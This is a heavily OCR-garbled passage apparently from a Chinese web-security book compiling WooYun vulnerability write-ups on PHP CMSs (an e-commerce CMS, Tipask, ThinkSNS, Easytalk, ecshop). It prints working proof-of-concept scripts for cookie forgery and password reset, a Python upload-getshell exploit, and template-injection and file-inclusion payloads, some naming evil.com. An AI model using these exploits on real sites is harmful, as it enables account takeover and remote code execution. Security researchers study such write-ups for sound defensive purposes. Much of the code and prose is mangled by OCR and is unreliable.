if ($this->CON['order_ismember']) {

if
(lempty($this->ec_member_username_id)
&& 'empty($this->ec_member_username)) {

$rsMember =
$this->get_member(null,
$this->ec_member_username_id);
} else {

$TinkURL =
$this->get_T1ink('memberlogin');

$this->callmessage($this->Tng['memberloginerr
'], $1inkurL, $this->Tng['memberlogin'], 1,
$this->Tng[ 'member_regbotton'], 1,
$this->mTink['reg']);

if ($uncartid && is_array($uncartid)) {
$didarray =
$this->fun->key_array_name($uncartid, 'did', 'amount',
"[0-9]+", '"[0-9]+");
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$didlist =
$this->fun->format_array_text(array_keys($didarray),
')

if (lempty($didlist)) {

$db_table = db_prefix .
'"document';

$db_where = "isclass=1
AND isorder=1 AND did in($didlist) ORDER BY did DESC";

$sq1 = "SELECT * FROM
$db_table WHERE $db_where";

$rs =

$this->db->query($sql);
$productmoney = 0;
while ($rsList =
$this->db->fetch_assoc($rs)) {
$amount =
empty($didarray[$rsList['did']]) ? 1 :
intval($didarray[$rsList['did']1]);

$rsList['Tink'"]
= $this->get_link('doc', $rsList, admin_LNG);

$rsList['buylink'] = $this->get_1ink('buylink',
$rsList, admin_LNG);

$rsList['enqlink'] = $this->get_link('enqlink"',
$rsList, admin_LNG);
$rsList['dellink'] = $this->get_Tink("buydel',

$rsList, admin_LNG);

$rsList['ctitle'] = empty($rsList['color']) ?
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$rsList['title'] : "<font color="" . $rsList['color']
"rS" . $rsList['title'] . "</font>";

$rsList["amount'] = $amount;
$countprice =
sprintf("%01.2f", $amount * $rsList['bprice']);

$rsList['countprice'] = $countprice;
$productmoney =
$productmoney + $countprice;
$array[] =
$rsList;
3

$this->fun->setcookie('ecisp_order_productmon

ey', $this->fun->eccode($productmoney, 'ENCODE',
db_pscode), 7200);

$this->pagetemplate->assign('moneytype’,
$this->CON[ 'order_moneytype']);

$order_discount =
$this->CON['order_discount'];

$discountmoney = 0;

if ($order_discount > 0) {

$discountmoney =
$productmoney > 0 ? $productmoney - ($order_discount /
100) * $productmoney : 0;
}
$discount_productmoney =
$productmoney - $discountmoney;
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$order_integral =
empty($this->CON['order_integral']) ? 1 :
intval ($this->CON['order_integral']);

$internum =
$discount_productmoney * $order_integral;

$this->pagetemplate->assign('internum',
intval ($internum));

$payplug =
$this->get_payplug_array();

$shipplug =
$this->get_shipplug_array(Q;

$cookiceprice =
md5 (" $productmoney | $discount_productmoney");

$this->fun->setcookie('ecisp_order_sncode',
$this->fun->eccode($cookiceprice, 'ENCODE',
db_pscode)) ;

AN BB S0k & MD5 i 5 I #s, BRIt AT LS SRR 32 47
1 key

R4 PRI key LA, BERTELfhE cookie B ffifFH T -

$arr_purview = explode('|"',
$this->fun->eccode($ecisp_admininfo, 'DECODE',
db_pscode)) ;

$this->esp_powerlist = explode('|"',

$this->fun->eccode($esp_powerlist, 'DECODE',
db_pscode)) ;
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Tist($esp_adminuserid, $this->esp_username,
$this->esp_password, $this->esp_useragent,
$esp_powerid, $esp_inputclassid, $this->esp_softurl) =
$arr_purview;

$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);

if ($gettype) {
if (empty($this->esp_username) ||

empty($this->esp_adminuserid) || md5Cadmin_AGENT) !=
$this->esp_useragent || md5Cadmin_ClassURL) !=
$this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {

if (empty($this->esp_username) ||
empty($this->esp_adminuserid) ||
md5(Cadmin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;

}
if ($condition == 0) {

if ($this->fun->accept('archive', 'R') !=
'adminuser' && $this->fun->accept('action', 'R') !=
'"Togin') {

- 138 -



header('location:
index.php?archive=adminuser&action=Tlogin');
exit();
}
} else {
if ($condition == 1 && $this->fun->accept('point',
'R'") == "' && $this->fun->accept('archive', 'R') == "'
&& $this->fun->accept('action', 'R') == "') {
header('location:
index.php?archive=management&action=tab&loadfun=mang
ercenter&out=tabcenter');
exit(Q);

2538 cookie T esp_powerlist ¥ all, % ecisp_admininfo &
Ak
'1lhym|[12345678901234567890123456789012|'.md5('Mozilla
/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101
Firefox/18.0").'| 1|management|'.md5('http://** . ** ** **/egp
cms/adminsoft' IXFEILEH, HERIGERATLLT, HARNAZES,

HREMN S R
&l mswsne BRTRBEE
HmE BER RS BALCHTE S ;e it

HTC Flyer TAREAE SN20110830222536894 ¥ 320000 1 ¥ 320000

FREEE: ¥3,200.00 -{f{N¥ 0 = ¥ 3,200.00
WWW.Wooyun.org

PrinarFn T ERIp RS & 3200, Fr A0

md5('3200]3200')="'38a7a5650e6296b180c88f6592486fbf’
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LT & cookie H1Y) ecisp_order_sncode 5% :
ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WIWtnlpxqzG6
XbWIlsa5ufl50

BT —/ poc Kb key :

<?php
function anti_eccode($encrypt, $clear) {

$result = null;

$data = str_replace(array('-', '_"), array('+', '/"),
$encrypt);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

3

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=%$char;

3

$result = substr($result, 1, strlen($result) -
1) .substr($result, 0, 1);
return $result;

function eccode($string, $operation = 'DECODE', $key =
'@QLFK24s224%@safs3s%1f%', $mcrype = true) {
$result = null;
if ($operation == "ENCODE') {
for ($1 = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -
1, 1);
$char = chr(ord($char) + ord($keychar));
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$result.=$char;

3
$result = base64_encode($result);
$result = str_replace(array('+', '/', '="),
array('-', '_', '""), S$result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-", '_'), array('+',

'/"), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {
$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($1 = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -

1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=%$char;
h
3
return $result;
3
#]3C
$clear = "38a7a5650e6296b180c88f6592486Fhf";
#553L
$encrypt =

"mHGWbpJsapiRnzhjbGowlwtn1pxqzG6Xbwlsa5uf150";

#3RHL key
$mkey = anti_eccode($encrypt, $clear);
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print "[*]Imaybe key is:".$mkey."\n";
#4828 B CARYE AW BT mkey MK FEEIRIUE SEH key
print "[*]input key:";

$key = trim(fgets(STDIN));

#1)i& cookie

$esp_powerlist = eccode('all', "ENCODE', $key);
$ecisp_admininfo =
eccode('1|hym|12345678901234567890123456789012]| ' .md5
('Mozilla/5.0 (Windows NT 6.1; wow64; rv:18.0)
Gecko/20100101
Firefox/18.0"')."|1|management|'.md5( " http://*%* *%* **
**/aspcms/adminsoft'), 'ENCODE', $key);

print "[+]esp_powerlist=$esp_powerlist\n";

print "[+]ecisp_admininfo=%$ecisp_admininfo\n";

7>

WA, RIS LR S EE R, FUELEIER key MiZ /&I 9
57174ca8b1384d373d2f8b4783e

key [F/"957174ca8b1384d373d2f8b4783e"

SRJE W HE cookie JFERL, WWATE S poc HIRERNEAE L, &
0 2 5 il 2R I
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riaging,. numeau e
Cookies / Login
Set-Cookie: edsp_order_sncode=mHGWbplsapiRnZhibGaWIWwnlpxgzGaxbWlsasufis0; path=/

Set-Cookie: edsp_order_productmoney =mGtZw; expires=Fri, Dgﬂug—%mwaﬁlw%?b

(e

Tipask 2.0 fN%¥ RS BAERH - EHE
.4

B kT

Tipask [7% 2 4t — s T IS PHP {7 5 BERTERE 7 LA A
BN BT LS, SR MVC M4, RGAAHEER, SEO AL,
G T R AR AT AR SR

{52 Tipask i FH DN SE A AE BRI I P RENE, PR S B0t 4
FEE M R A R TR B R A

FERE DN 51k strcode B3R -

/* BH IR K ¥, phpwind. phpcms. dedecms #3H itk */
function strcode($string, $auth_key, $action= 'ENCODE')
{
$key = substr(md5($_SERVER[ "HTTP_USER_AGENT"]
$auth_key), 8, 18);
$string = $action == 'ENCODE' ? $string :
base64_decode($string);
$1en = strlen($key);
$code = '';
for ($i = 0; $i < strlen($string); $i++) {
$k = $1 % $len;
$code .= $string[$i] A $key[$k];
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$code = $action == 'DECODE' ? $code :
base64_encode($code);
return $code;

AR BN L e, AT BA R DUR 5 ORI SO sent B RGE
Sk B key, F

function anti_strcode($authstr, $plaintxt)

{
$key ="'";
$authstr = urldecode(base64_decode($authstr));
for($i = 0; $i < 18; $i++)

{
$key .= S$authstr[$i] A $plaintxt[$i];

return $key;

key KR 18, R TER — MK B 18 M 78,
2 A, KI cookie i) auth EKEHE T 18, HibF4rxt co
okie W) auth #H17 key FHfiE.

7 Tipask MM EE H, Az pk i mE 200 S5~ /& 1 strcode
AR, AT LR R G /) key SR BT S BG5S ThbE,

<?php

printf("—————m e
Tipask 2.0 authkey decrypt exploit

Author:ztz

B1og . http://:’::’: LR ek 7':7':/
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if ($argc < 3) {

print_r( "Usage: php exp.php uid password
auth_cookie\nexample: php exp.php 1 s3cr4it
Aj AGAACFVWCHBWYHUA8GU19UBWtTV1AGAQQMUOMEWWPSVg%3D%3D
\n\n");

exit(Q);

$uid = $argv[1l];
$password = md5($argv[2]);
$auth_cookie = $argv[3];

$str
$key = anti_strcode("$auth_cookie ", " $str");

"$uid \t$password ";

print "[+]Key: $key \n";
print "[*]Input the username you want to reset: ";
fscanf(STDIN, "%s\n", S$username);
print "[*]Encrypting...\n";
$code = urlencode(strcode($username, $key));
print "[+]Reset password here: ?user/resetpass/$code
\n";
//function
function anti_strcode($authstr, $plaintxt)
{
$key = '';
$authstr = urldecode(base64_decode($authstr));

for($i = 0; $i < 18; $i++)

{
$key .= S$authstr[$i] A $plaintxt[$i];
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return $key;

3
function strcode($string, $key) {
$len = 18;
$code = '';
for ($i = 0; $i < strlen($string); $i++) {
$k = $1 % $len;
$code .= $string[$i] A $key[$k];
3
$code = base64_encode($code);
return $code;
3
?>

EC I EE F AR R

H OFER R S 2R BRI , EE
EEE R EEEE
WWW.Wooyun.org
FIH B CB9EEMH P cookie fi## key :
0 BIFHELEES f12 TRTRAARCENNES

»» document.coockie
"tp_sid=HEttKH; tp_auth=VjEFWAFbAWEXELUDV1ZVCAEAUFKDEQF cVFcCUggCAINVIgR3DRID™

WWW. WOOoYLUN.org

W ETE R 7 cookie 1% auth
VJEFWAFbAwWtXBIUDV1ZVCAEAUFKDBQFcVFcCUggCAINVWg
%3D%3D
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[F: “\php>php.exe resetpwd.php 2 @-pB-pB—p UFEFUAFbAwtXBIUDUV1ZUCAEAUFKDBGFcUFcClgg(
A1NUWg23D3D

ipask 2.8 authkey decrypt exploit

Author:
[Blog:http://ztz.fuzzexp.ory/

[+1Key: dB82ah882del52hf%bb

3K15 key v d82ab802de152bf9bb

RIS AR EER S

[+1Key: dB2ab8@2del52hf?hbb
[#]1Input the username wvou want to reszet: admin

[#]1Encrypting. ..
[+]1Reset password here: Tuser-resetpasssBUxfCAwx3D

e

R T EHEE A REE,

AL 1]
ThinkSNS 7K SZAL R ] 75

{E#: Ano Tom

Fid A m AR KA R TACERRAY A, FHEIR%, BHE T
T, G2 EREE, ROEAELR, WARA © 4.18 5B FHHY
AR

TRl ST
/thinksns/apps/weba/Lib/Action/GroupAction.class.php

P, index SUH-RiZJE group SCHISEE T BT 2

(MCE
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* PAT G T
* @return void
*/
/ /KRR ke 02
public function doPostEdit(){
// echo 2;die;
$checkcontent = str_replace(' ', '',
$_POST['content']);
$checkcContent
$checkcontent);
$checkcContent
$checkcontent);
$checkcContent
$checkContent);
$checkContents =

str_replace('<br />', ,

str_replace('<p>", )

str_replace('</p>"', ;

preg_replace('/<img(.*?)src=/1i", 'img', $checkContent)

$checkContents =
preg_replace('/<embed(.*?)src=/i"',"'img', $checkConten
ts);

if(strlen(t($_POST['title']))==0)
$this->error (' FARE AR NE");

if(strlen(t($checkcontents))==0)
$this->error ("M THEAGEAT");

preg_match_all1('/./us', t($_PosST['title']),
$match);

if(count($match[0])>30){ / /BRI REO — A
=

$this->error (' Fir@ AR 30 M5 ;

}

$post_id = intval($_POST['post_id']);

$data['title'] = t($_PoST['title']);

$data['content'] = h($_POST['content']);
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$res =
D('weiba_post')->where('post_id=".$post_id)->save($d
ata) ; //BE#HRAC post_id B n] g T b1, AREATAPRIIE
if($res!==false){
$post_detail =
D('weiba_post')->where('post_id=".$post_id)->find(Q);
if(intval($_PoST['log'1)==1){

D('Tog')->writeLog($post_detail['weiba_id'],$this->m
id, "4idE T <a
href=""'.U('weiba/Index/postDetail',array('post_id'=>
$post_id)).""
target="_blank">".$post_detail['title']."'</a>"", 'pos
ts');

}

/ /1R B i

$feedinfo =
D('feed_data')->where('feed_id="'.$post_detail['feed_
id'])->findQ;

$datas =
unserialize($feedinfo['feed_data']);
$datas['content'] = ' ['.$data['title']."]

'.getShort(t($checkContent),100)."' ';
$datas['body'] = $datas['content'];
$datal['feed_data'] = serialize($datas);
$datal['feed_content'] = $datas['content'];
$feed_id =
D('feed_data')->where('feed_id="'.$post_detail['feed_
id'])->save($datal);

model ('Cache')->rm('fd_"'.$post_detail['feed_id']);
return $this->ajaxReturn($post_id, "ZiHzh",
1);
}else{
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$this->error(' i) ;

Hrfr doPostEdit #A/EARMBURINE, 3] HE S AR R b+

EARIRASI T

e EEUT Eﬁ*ﬁh‘*

mmﬁw%mmmﬁm@&
WTHIE Rl nins

TEFCR B2 1 AT T

(Rl 41 am tesi02 o bR e T

15102 10N Ak Testoz 1034 VL) S s TR R R

iidaat

(Pt &4 1 1 am el 5 e e spupimume

2] Lames o PRI () S B B TE R L

test01 1B Bl testot b gﬁfg%h%@ﬁi&ﬁﬁ&@ﬁﬂﬂﬁ%ﬁ

59

ATdbE
TER R A BN ER TEE
IR FIR A R EN B B

BHAATR
2 =

%& WWW.Wooyun.org

post_id=5 N A test02 B, post_id=4 NN test01 A9

test02 (& A CLHIMG -, £2# post iEkun

POST ‘thl’nksnsﬂndex.php?app=we|'ba&mod=1ndex&act= doPostEdit HTTP/1.1

Host: S

User-Agent: Mozilla/5.0 (Windows NT 6.1; WO'W64; n:28.0) Gecko,/20100101 Firefox/28.0

Accept: application/json, text/javascript, #/* q=0.01

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

X-Requested-'With: XMLH ttpRequest

Referer: MNP thinksns/Index.php?app=weiba&mod=Index&act=postEdit&post_id=5
Content-Length: 369

Content-Type: multipart/form-data; boundary=----------=-----ccemmmuun- 128501169121335
Cookie: PHPSESSID=akq039de04pjilmSmpo6medpb5; T3_TSV3_LOGGED_USER=Ght4NQRIOIDrTZgHIste55bF51%628Xb
Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

128501169121335
Content-Disposition: form-data; name="post_id"

)
198CA11E0191930 www.wooyun.org

&k test01 AuMLv-, AP post_id=4 #nf&
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Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

————————————————————————————— 128501168121335
Content-Disposition: form-data; name="post_id"

————————————————————————————— 128501169121335
Content-Disposition: form-data; name="title"

iam testD2

el iz

1286N11691 21335

response

(raw ’/headers rhex |

Pragma: no-cache

Content-Length: 55

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=utf-8

{"status™:1, "info": "\u7f16\uBfO1\u6210\529¢ 5 dataefhy un. org

ZRN

iE e EA TR AR AT

Qg s an we mone TR HE
28 | e B
sy 2
HEMET WEE: EERE | ENHE i
i am test02 + R
esl02 1 A55RHRTERT festoz | 4384
EEES
i am|test02 FlEEe
testo | B&BHRTA B4yt
2

WWW.WOoOoyun.org
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Easytalk FE{E AR 4] &

{E#: Ano Tom

Easytalk AbFE A = i mHs ok 2 % i, 3 30nr DABEAT AR 52 7+
W b ST AT TR ) A A A e, B 3 1 I AE—Ab

IR ST A
/Easytalk/Home/Lib/Action/GuideAction.class.php

[/ IRAECE TN P A, 18] S ORAF R
public function doset() {
$user=M('Users');
Suserdata=$_POST["user"];/ /M /" #24

BT e

// ok, WALHIH " userdata ##E &K H post 1, 1A
JE—LEBUR T B

$userdata["nickname"]=
daddslashes(strip_tags(trim($userdata["nickname"])))

$userdatal 'provinceid']=intval($userdatal'pro
vinceid']);

$userdatal['cityid']=intval($userdatal['cityid']
);
$userdatal['user_info']=
daddsTashes(trim(htmispecialchars($userdatal'user_in

fo'1)));

// L7 nickname

if(!preg_match('/A[0-9a-zA-Z\xe0-\xef\x80-\xbf._-]1+$%
/i',%userdatal['nickname'])) {
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setcookie('setok',
json_encode(array('lang'=>L('setting2'),'ico'=>2)),0,
WADK
header('location:'.SITE_URL.'/?m=guide');
exit;

if (!$userdatal'nickname']
|| '$Suserdata['provinceid'] || !$userdata['cityid']) {
setcookie('setok',
json_encode(array('lang'=>L('settingl'),'ico'=>2)),0,
VAV
header('location:'.SITE_URL.'/?m=guide’');
exit;

/ /WeFRAar il
if ($userdatal['nickname'] &&
$userdatal['nickname']!'=$this->my['nickname']) {
if (StrLenw($userdatal'nickname'])<=12 &&
StrLenw(S$userdatal['nickname'])>=3) {

$newnickname=$user->where("nickname="'$userdatal[nickn
ame]'")->find(Q;
if ($newnickname) {
setcookie('setok',
json_encode(array('lang'=>L('setting4'),'ico'=>2)),0,

WADH

header('location:'.SITE_URL.'/?m=guide');
exit;
}
} else {
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setcookie('setok"',
json_encode(array('lang'=>L('setting2'),'ico'=>2)),0,

WADH

header('location:'.SITE_URL.'/?m=guide');
exit;

}
// var_dump($userdata) ;die;

$user->where("user_id="".$this->my['user_id'].""'")->
data($userdata)->save(Q);

header('location:'.SITE_URL.'/?m=guide&a=followtopic
")
3

TR AL,
$userdata=$_POST["user"];//FRIH - FT A ¥t , SR Ja it
177 —SeE MmN 5, ST 7
$user->where("user_id="".$this->my['user_id'].""")->data(
$userdata)->save(); TEABIEE T

KSR, HP ALV S inal =B, Mtk cms & 2
R A PR AE—ANRE,  (KomrdiE isadmin 72B) (K10
AL LAIE RSO FRAE T

FEMHEEA S, AREkBlEm S E, AR ERER
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hittp:// SRR, = doset

Request Header Name Request Header Value Post Parameter Name Post Parameter Value
Host T user%5Bnickname%5D test08
User-Agent Moxilla/5.0 (Windows NT 6.1; WOWGH; vi28.0) Ge | || usersSBuser_gender®sD 0
Accept text/html,applicat J,application/xml inceid3SD 2
Accept-Language usersSBcityid965D 57
Accept-Encoding user%5Buser.info%sD a
Referer
Cookie think | : PHPSESSID
Tamper with request? E

@ I - - -1k m=ap
ran| 99252

Continue Tampering?

[ Tamper | [ Submit ] ’AhmRequﬁi

St [ se. 4 BE O KA S 5% o SA S B N MRS

user_head user_auth suth_info mailadres  provinceid cityid blogurl qq msm signupdate user_gender mser_info isadmin a
2eus vz masi

4081abb082 L FREER enm— o 0 1396800096 ML L
24b022aac9 o =ty 1 38 1396800124 0 o
42fb58a320 0 e 262 1396800163 |0 0
5654772¢61 | 20140407/204339_sae11. lockTv=1396874619 0 T 0 0 1396374468 WL 0
e£d28¢0689 | 20140410 o By 0 1387128324 pn o
aed2817102 0 £l 1397664596 1

WWWw.wooyun.org
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RIS IAT

¥1%| Crucco EWERALHAT

{E#: kelon

http://www.crucco.com/huodongye.php?pn=zucefangsi

FEXHEIATVRIL pn BERATEE, WTLMEEIRA, FRAITHEWT S 2
AR A

$smarty->display($_GET['p']);

FeAl1#k 2 ecshop 8 display /7% KILEEA T eval

function _eval($content)

{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;

3

AR LLT url:
http://www.crucco.com/huodongye.php?pn=str:%3C?php%20

phpinfo%28%29;//
2RI AT M) phpinfo Hk T
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H &% CMS H 6 ERAHEHAT

Ve 26

api.php

<?php
ini_set("max_execution_time","1800");
include('include/config.php');
include('include/function.php');
include('include/class_mysql.php');
nocache();

$tcz=array(
'"Tog'=>arg('Tog"','all’, 'url")

);

$db=new mysql(Q);
switch($tcz['Tog']){

case 'feedback_upload':
@$webdomain=$_SERVER['SERVER_NAME']; $websit
echo $website['webid'];
if(!$website){
die('error');
exit;
3
if($S_FILES["file"]["error"]>0){
echo '<script
type="text/javascript">parent.Pz.sendfeedback_upload
({Tog:"success",msg:"errorl"});</script>";
exit;
}else{

$fsize=$_FILES['file']['size']/1024;
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if($fsize>5120){
echo '<script
type="text/javascript">parent.Pz.sendfeedback_upload
({1og:"success",msg:"error2"});</script>";
exit;
}
// KB e

$typename=strtolower(pathinfo($_FILES['file']
["name'],PATHINFO_EXTENSION)) ;
// HEXMHA

$filename=date('dHis"').'_"'.randomkeys(6).".".
$typename;
// HEET
$path=setup_upfolder.$website['webid']."'/'.se
tup_uptemp.$filename;
// shell
move_uploaded_file($_FILES['file']["tmp_name']
, $path);
echo '<script
type="text/javascript">parent.Pz.sendfeedback_upload
({1og:"success",file:"'.$filename."'"}) ;</script>"';

}

break;

default:
$ur1=$_SERVER["QUERY_STRING"];
if(Surl!=""){

$uri=preg_replace('/A\//","",$url);
gotourl($url);
h

break;
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?>

ATEEE S | TRLE SO, FUEEME . BERSOrE, VA MO MIeE,
Wi AFE arg

function
arg($aname="Tlog', $gtype="post', $atype="'string',$len=

0){
$val="";
switch($gtype) {
case "get":
@$val=$_GET[$aname];
break;
case "post":
@$val=$_prPoST[$aname];
break;
case "all":
@$val=$_GET[$aname];
if($val=="")@%$val=$_rosT[$aname];
break;
b
switch($atype) {
case 'int':
if($val=="")%$val="'0";
$val=sprintf('%.0f',$val);
break;
case 'num':
$val=floatval($val);
if($val<l) $val=1;
break;
case 'url':

$val=trim($val);
StopAttack($aname, $val, $gtype);
$val=urldecode($val);
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break;

case 'txt':
$val=trim($val);
StopAttack($aname, $val, $gtype);
$val=urldecode($val);
$val=htmlspecialchars($val);

break;

case 'rate':
$val=urldecode($val);
if($val=="")%$val=0;
$val=(float)$val;
$val=sprintf('%.4f"',$val);

break;

case 'decimal':
$val=urldecode($val);
if($val=='")$val=0;
$val=(float)$val;

$val=sprintf('%."'.goif($1en,$len,2).'f',$val)

break;
case 'none':

break;
default:
StopAttack($aname, $val, $gtype);
$val=htmispecialchars($val);
break;
h
return $val;
3
FRPEH IS 2
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<form
action="http://**.%% ** *%/api.php?log=feedback_uplo
ad" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br><br>

<input type="submit" value="upload">

</form>

Response:

<script
type="text/javascript">parent.Pz.sendfeedback_upload
({1og:"success",file:"22170707_shhxyo.php"});</scrip
>

K E Exploit:

#!/usr/bin/env python
#coding=utf-8

import requests
import re

def getshell(Chost):
if not host.startswith('http://') and not
host.startswith('https://'):
url = "http://' + host
else:
url = host
files = {'file': ('x.php"',
open('e:\\ma\\php\\phpinfo.txt', 'rb'), 'image/png')}
req = requests.post(url +
'/api.php?Tog=feedback_upload', files = files)
match = re.search(r' (\d{5}).*file:"(.*\.php)"",
req.content)
if match.group(1l) and match.group(2):
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shell = '%s/upload/%s/temp/%s'%Curl,
match.group(1l), match.group(2))
req = requests.get(shell)
if req.status_code == 200:
print shell

else:
print match.group()
if _name__ == '_main__":
getshe'l'l (l http . //:’::’: JE e :'::':/ ')
getshell
ThinkSNS getshell
E#: kT

\apps\public\Lib\Action\CommentAction.class.php reply &%t

pubTlic function reply() {
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$var = $_GET;

$var['initNums'] =
model('Xdata')->getConfig('weibo_nums', 'feed');

$var['commentInfo'] =
model('Comment')->getCommentInfo($var['comment_id'],
false);

$var['canrepost'] =
$var['commentInfo']['table'] == 'feed' 7 1 : 0;

$var['cancomment'] = 1;

// FBIFEEEE R

$rowData =
model1('Feed')->get(intval($var['commentInfo']['row_i
d'1));

$appRowData =
model('Feed')->get($rowbatal 'app_row_id']);

$var['user_info'] = $appRowDatal['user_info'];

// TERA

$var['feedtype'] = $rowDatal['type'];

// $var['cancomment_old'] =
($var['commentInfo']['uid'] !=
$var['commentInfo']['app_uid'] &&
$var['commentinfo']['app_uid'] != $this->uid) ? 1 : 0;

$var['initHtml'] =
L("PUBLIC_STREAM_REPLY"').'@"'.$var['commentInfo']['us
er_info']['uname']." : '; // BIX

$this->assign($var);
$this->display();
}

AEHRIRERE, $var e S _GET, JRERait AT assign &k

\core\OpenSociax\Action.class.php assign
public function assign($name,$value="") {
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if(is_array($name)) {
$this->tvar =
array_merge($this->tvar, $name) ;
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tvar[$key] = $val;
telse {
$this->tvar[$name] = $value;

assign HUi R At EIME, 2 UM $_GET &/t
TR E

SRJE [FI B — IR reply %L, WTLLERITER)S A T display:
\core\OpenSociax\functions.inc.php display %%

// HARRR

function

display($templateFile="", $tvar=array(),$charset="UTF
8',$contentType="text/html') {

fetch($templateFile, $tvar, $charset, $contentType, true)

}

fetch $EIHH N AR IFFIEA 2R R & L5 S i 2
\core\OpenSociax\Action.class.php fetch &k

protected function
fetch($templateFile=""',$charset="utf-8',$contentType
="text/html"',$display=false) {
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$this->assign('appCssList',$this->appCssList);

$this->assign('langJisList',
$this->TangJlsList);

Addons: :hook('core_display_tpl',
array('tpl'=>%$templateFile, 'vars'=>$this->tvar, 'char
set'=>$charset, 'contentType'=>$contentType, 'display’
=>$display));

return fetch($templateFile, $this->tvar,
$charset, $contentType, $display);

}

HIE R R A EIER fetch %L

\core\OpenSociax\functions.inc.php

function
fetch($templateFile='",$tvar=array(),$charset="utf-8
',$contentType="text/html', $display=false) {
[/ ENEREE ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===%$templateFile)
// AR nu11 SEUAE AR A B B AT (T 46
return ;
if(empty($charset)) $charset =
C('DEFAULT_CHARSET"');
// WA i i
header("Content-Type:".$contentType.";
charset=".$charset);
header("cache-control: private"); //>Z¥¢Viih =Bk
// W RAF
ob_start();
ob_implicit_flush(0);
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// BN
if('"'==%$templateFile){
$templateFile =
APP_TPL_PATH.'/' .MODULE_NAME."'/'.ACTION_NAME.'.html"'
// R4 N ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.
'/'.$templateFile."'.htm1')) {
$templateFile =
APP_TPL_PATH.'/' .MODULE_NAME.'/'.$templateFile.'.htm
15

// TERR 4% AR
}elseif(file_exists($templateFile)){
[/ TERRAAE

telse{

throw_exception(L('_TEMPLATE_NOT_EXIST_").'['.$temp]
aterFile.']");
3
/ /R GAE AT
$templateCacheFile =
C("TMPL_CACHE_PATH')."'/'.APP_NAME. '_"'.tsmd5($templat
eFile).'.php';
[/ BN RRGAT
if(1$ts['_debug'] &&
file_exists($templateCacheFile)) {
//if(1==2){ //TODO FFk
extract($tvar, EXTR_OVERWRITE); //exploit!
//var_dump ($_SESSION) ;
/BN IR AT A
include $templateCacheFile; //getshell here!
[/ E T
}else{
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tshook('tpl_compile',array('templateFile',$templateF
ile));
[/ BAFTR EHim i
tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');

tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
$tpl = Template::getInstance();

/7 HEFEINEAER LA

$tpl->Toad($templateFile, $tvar, $charset);//getshell
here!

SIMT I B RIE R

BRI ST A FE,  AEN ZN BRSO, an sk
INELI IO 55 B

R B CCEAFAE, Ih iz SRS Fnt, mRgEmd, Mo
E#% include 22473014k, 1 include Bifi [ extract XAEAR A8 &R (L

I RAENBEA AT, T —RBER, IR b g TR U I E e
TEAE AT B F2 P extract XA S EATIRE, FTRAE RS =4
241, EXTR_OVERWIRTE, & RS RECEFE, AL mhEs

AN

THFEFRIFGAFFIL T A
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\core\OpenSociax\Template.class.php load %k

// IR

pubTic function
Toad($templateFile, $templatevar, $charset) {
$this->tvar = $templatevar;
$templateCacheFile =
$this->ToadTemplate($templateFile);
[/ TR KR AR By gt O S ST AR
extract($templatevar, EXTR_OVERWRITE);
/ /BN G2 A7 A

include $templateCacheFile;

SAAEN TR, t2iAH extract RERLE, HTHE-ASH
FIfEA, PRI A SRR A S AT P i, BRATR] DU s AR R

Al LA7E &% $templateCacheFile &, XHEAF B Sl A TF &
%, JIFAl getshell.

FA—4 jpg, #RJE include 2 :

http:/fwww. evil. comd thinksns/index. php?app=publicémod=Commenthact=reply#itemplateCacheFile=/data/upleoad/2013/1124,/21/520201012:098. jpd

|_| Enable Postdata | | Enable Referrer

System
BUESED

Build Date May & 2012 15:48:38

Compiler MSVCS (¥isual Ct+ 2008)

Architecture =86

Configure csoript fmologe configure js “-—enable-snapshot-bnild* "~-dizable-izapi”

Command “——enable-debugzpack” "--without-mssql” “——without-pdo-ms=ql” "-—without—
pidusb” "—-wi th-pdo-oci=C: \php-sdkioraclstinstantclient]0isdk, sharsd” “—with-
0eiB=C: \php-sdkhoraclelinstantelient10hsdl, shared” "~—with-oeif=11g=C: \php~
sdioracletinstantclientll\zdl, shared” “-—snable-object-ont-dir=. . fobj/"
“-—ensble-com—dotnet” “-—withemerypt=static” "--dizsble-stiWEASAAIIRIYUN. O[]

7 allow_url_include y on T [ LLIXF: getshell :
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http://**.%* %% _*%/thinksns/index.php?app=public&mod
=Comment&act=reply&templateCacheFile=data:text/plain;
base64,PD9waHAgcGhwaw5mbygp0z8%2b

R 18 1% StartBBS Bij 5 getshell

{£#: phithOn
o SR AR . StartBBS FIm R Ja K, ARt . T Rk%
%%,

R ERIARHFE FL 7 —4 install.lock, —f% cms N 71k
W e H 3 FAR— AN RS, IR N7 A2 25 1
AR, ARSI, i H R NE XA s S R S %

JiR A A2 A AT ) . (HIRATR B 2225 A, /app/controller
s/install.php ', #FHE&EALHN:

class Install extends Install_controller
{
function __construct ()
{
parent::__construct();
